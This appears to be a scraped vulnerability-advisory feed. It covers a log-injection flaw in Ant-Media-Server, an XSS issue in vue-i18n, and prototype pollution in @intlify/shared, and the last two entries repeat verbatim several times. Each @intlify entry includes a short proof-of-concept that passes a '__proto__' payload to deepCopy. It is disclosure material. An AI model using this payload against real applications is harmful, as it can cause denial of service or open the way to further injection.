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Description: Ant-Media-Server v2.8.2 is affected by Improper Output Neutralization for Logs. The vulnerability stems from insufficient input sanitization in the logging mechanism. Without proper filtering or validation, user-controllable data, such as identifiers or other sensitive information, can be included in log entries without restrictions.
References
https://nvd.nist.gov/vuln/detail/CVE-2024-35371
https://github.com/ant-media/ant-media-server/commit/4d4763bd4fd06e515c19544e5170ca0f34c9ce45
https://gist.github.com/1047524396/4eb17867f2e375f4824274c5e7b4d384
https://github.com/ant-media/Ant-Media-Server/blob/ams-v2.8.2/src/main/java/io/antmedia/rest/RestServiceBase.java#L356
https://github.com/advisories/GHSA-2gx6-qrpp-c4p3
December 3rd, 2024 (5 months ago)
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Description: Vulnerability type
XSS
Description
vue-i18n can be passed locale messages to createI18n or useI18n.
we can then translate them using t and $t.
vue-i18n has its own syntax for local messages, and uses a message compiler to generate AST.
In order to maximize the performance of the translation function, vue-i18n uses bundler plugins such as @intlify/unplugin-vue-i18n and bulder to convert the AST in advance when building the application.
By using that AST as the locale message, it is no longer necessary to compile, and it is possible to translate using the AST.
The AST generated by the message compiler has special properties for each node in the AST tree to maximize performance. In the PoC example below, it is a static property, but that is just one of the optimizations.
About details of special properties, see https://github.com/intlify/vue-i18n/blob/master/packages/message-compiler/src/nodes.ts
In general, the locale messages of vue-i18n are optimized during production builds using @intlify/unplugin-vue-i18n,
so there is always a property that is attached during optimization like this time.
But if you are using a locale message AST in development mode or your own, there is a possibility of XSS if a third party injects.
Reproduce (PoC)
vue-i18n XSS
/**
* Prototype pollution vulnerability with `Object.prototype`.
* The 'static' property is part of the optimized AST generated by the vue-i18n message compiler.
* About...
December 3rd, 2024 (5 months ago)
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Description: Vulnerability type
XSS
Description
vue-i18n can be passed locale messages to createI18n or useI18n.
we can then translate them using t and $t.
vue-i18n has its own syntax for local messages, and uses a message compiler to generate AST.
In order to maximize the performance of the translation function, vue-i18n uses bundler plugins such as @intlify/unplugin-vue-i18n and bulder to convert the AST in advance when building the application.
By using that AST as the locale message, it is no longer necessary to compile, and it is possible to translate using the AST.
The AST generated by the message compiler has special properties for each node in the AST tree to maximize performance. In the PoC example below, it is a static property, but that is just one of the optimizations.
About details of special properties, see https://github.com/intlify/vue-i18n/blob/master/packages/message-compiler/src/nodes.ts
In general, the locale messages of vue-i18n are optimized during production builds using @intlify/unplugin-vue-i18n,
so there is always a property that is attached during optimization like this time.
But if you are using a locale message AST in development mode or your own, there is a possibility of XSS if a third party injects.
Reproduce (PoC)
vue-i18n XSS
/**
* Prototype pollution vulnerability with `Object.prototype`.
* The 'static' property is part of the optimized AST generated by the vue-i18n message compiler.
* About...
December 3rd, 2024 (5 months ago)
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Description: Vulnerability type
XSS
Description
vue-i18n can be passed locale messages to createI18n or useI18n.
we can then translate them using t and $t.
vue-i18n has its own syntax for local messages, and uses a message compiler to generate AST.
In order to maximize the performance of the translation function, vue-i18n uses bundler plugins such as @intlify/unplugin-vue-i18n and bulder to convert the AST in advance when building the application.
By using that AST as the locale message, it is no longer necessary to compile, and it is possible to translate using the AST.
The AST generated by the message compiler has special properties for each node in the AST tree to maximize performance. In the PoC example below, it is a static property, but that is just one of the optimizations.
About details of special properties, see https://github.com/intlify/vue-i18n/blob/master/packages/message-compiler/src/nodes.ts
In general, the locale messages of vue-i18n are optimized during production builds using @intlify/unplugin-vue-i18n,
so there is always a property that is attached during optimization like this time.
But if you are using a locale message AST in development mode or your own, there is a possibility of XSS if a third party injects.
Reproduce (PoC)
vue-i18n XSS
/**
* Prototype pollution vulnerability with `Object.prototype`.
* The 'static' property is part of the optimized AST generated by the vue-i18n message compiler.
* About...
December 3rd, 2024 (5 months ago)
|
|
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Description: Vulnerability type
XSS
Description
vue-i18n can be passed locale messages to createI18n or useI18n.
we can then translate them using t and $t.
vue-i18n has its own syntax for local messages, and uses a message compiler to generate AST.
In order to maximize the performance of the translation function, vue-i18n uses bundler plugins such as @intlify/unplugin-vue-i18n and bulder to convert the AST in advance when building the application.
By using that AST as the locale message, it is no longer necessary to compile, and it is possible to translate using the AST.
The AST generated by the message compiler has special properties for each node in the AST tree to maximize performance. In the PoC example below, it is a static property, but that is just one of the optimizations.
About details of special properties, see https://github.com/intlify/vue-i18n/blob/master/packages/message-compiler/src/nodes.ts
In general, the locale messages of vue-i18n are optimized during production builds using @intlify/unplugin-vue-i18n,
so there is always a property that is attached during optimization like this time.
But if you are using a locale message AST in development mode or your own, there is a possibility of XSS if a third party injects.
Reproduce (PoC)
vue-i18n XSS
/**
* Prototype pollution vulnerability with `Object.prototype`.
* The 'static' property is part of the optimized AST generated by the vue-i18n message compiler.
* About...
December 3rd, 2024 (5 months ago)
|
|
|
Description: Vulnerability type
XSS
Description
vue-i18n can be passed locale messages to createI18n or useI18n.
we can then translate them using t and $t.
vue-i18n has its own syntax for local messages, and uses a message compiler to generate AST.
In order to maximize the performance of the translation function, vue-i18n uses bundler plugins such as @intlify/unplugin-vue-i18n and bulder to convert the AST in advance when building the application.
By using that AST as the locale message, it is no longer necessary to compile, and it is possible to translate using the AST.
The AST generated by the message compiler has special properties for each node in the AST tree to maximize performance. In the PoC example below, it is a static property, but that is just one of the optimizations.
About details of special properties, see https://github.com/intlify/vue-i18n/blob/master/packages/message-compiler/src/nodes.ts
In general, the locale messages of vue-i18n are optimized during production builds using @intlify/unplugin-vue-i18n,
so there is always a property that is attached during optimization like this time.
But if you are using a locale message AST in development mode or your own, there is a possibility of XSS if a third party injects.
Reproduce (PoC)
vue-i18n XSS
/**
* Prototype pollution vulnerability with `Object.prototype`.
* The 'static' property is part of the optimized AST generated by the vue-i18n message compiler.
* About...
December 3rd, 2024 (5 months ago)
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Description: Vulnerability type: Prototype Pollution
Affected Package:
Product: @intlify/shared
Version: 10.0.4
Vulnerability Location(s):
node_modules/@intlify/shared/dist/shared.cjs:232:26
Description:
The latest version of @intlify/shared (10.0.4) is vulnerable to Prototype Pollution through the entry function(s) lib.deepCopy. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) the minimum consequence.
Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.
PoC:
// install the package with the latest version
~$ npm install @intlify/[email protected]
// run the script mentioned below
~$ node poc.js
//The expected output (if the code still vulnerable) is below.
// Note that the output may slightly differs from function to another.
Before Attack: {}
After Attack: {"pollutedKey":123}
(async () => {
const lib = await import('@intlify/shared');
var someObj = {}
console.log("Before Attack: ", JSON.stringify({}.__proto__));
try {
// for multiple functions, uncomment only one for each execution.
lib.deepCopy (JSON.parse('{"__proto__":{"pollutedKey":123}}'), someObj)
} catch (e) { }
console.lo...
December 3rd, 2024 (5 months ago)
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Description: Vulnerability type: Prototype Pollution
Affected Package:
Product: @intlify/shared
Version: 10.0.4
Vulnerability Location(s):
node_modules/@intlify/shared/dist/shared.cjs:232:26
Description:
The latest version of @intlify/shared (10.0.4) is vulnerable to Prototype Pollution through the entry function(s) lib.deepCopy. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) the minimum consequence.
Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.
PoC:
// install the package with the latest version
~$ npm install @intlify/[email protected]
// run the script mentioned below
~$ node poc.js
//The expected output (if the code still vulnerable) is below.
// Note that the output may slightly differs from function to another.
Before Attack: {}
After Attack: {"pollutedKey":123}
(async () => {
const lib = await import('@intlify/shared');
var someObj = {}
console.log("Before Attack: ", JSON.stringify({}.__proto__));
try {
// for multiple functions, uncomment only one for each execution.
lib.deepCopy (JSON.parse('{"__proto__":{"pollutedKey":123}}'), someObj)
} catch (e) { }
console.lo...
December 3rd, 2024 (5 months ago)
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Description: Vulnerability type: Prototype Pollution
Affected Package:
Product: @intlify/shared
Version: 10.0.4
Vulnerability Location(s):
node_modules/@intlify/shared/dist/shared.cjs:232:26
Description:
The latest version of @intlify/shared (10.0.4) is vulnerable to Prototype Pollution through the entry function(s) lib.deepCopy. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) the minimum consequence.
Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.
PoC:
// install the package with the latest version
~$ npm install @intlify/[email protected]
// run the script mentioned below
~$ node poc.js
//The expected output (if the code still vulnerable) is below.
// Note that the output may slightly differs from function to another.
Before Attack: {}
After Attack: {"pollutedKey":123}
(async () => {
const lib = await import('@intlify/shared');
var someObj = {}
console.log("Before Attack: ", JSON.stringify({}.__proto__));
try {
// for multiple functions, uncomment only one for each execution.
lib.deepCopy (JSON.parse('{"__proto__":{"pollutedKey":123}}'), someObj)
} catch (e) { }
console.lo...
December 3rd, 2024 (5 months ago)
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Description: Vulnerability type: Prototype Pollution
Affected Package:
Product: @intlify/shared
Version: 10.0.4
Vulnerability Location(s):
node_modules/@intlify/shared/dist/shared.cjs:232:26
Description:
The latest version of @intlify/shared (10.0.4) is vulnerable to Prototype Pollution through the entry function(s) lib.deepCopy. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) the minimum consequence.
Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.
PoC:
// install the package with the latest version
~$ npm install @intlify/[email protected]
// run the script mentioned below
~$ node poc.js
//The expected output (if the code still vulnerable) is below.
// Note that the output may slightly differs from function to another.
Before Attack: {}
After Attack: {"pollutedKey":123}
(async () => {
const lib = await import('@intlify/shared');
var someObj = {}
console.log("Before Attack: ", JSON.stringify({}.__proto__));
try {
// for multiple functions, uncomment only one for each execution.
lib.deepCopy (JSON.parse('{"__proto__":{"pollutedKey":123}}'), someObj)
} catch (e) { }
console.lo...
December 3rd, 2024 (5 months ago)
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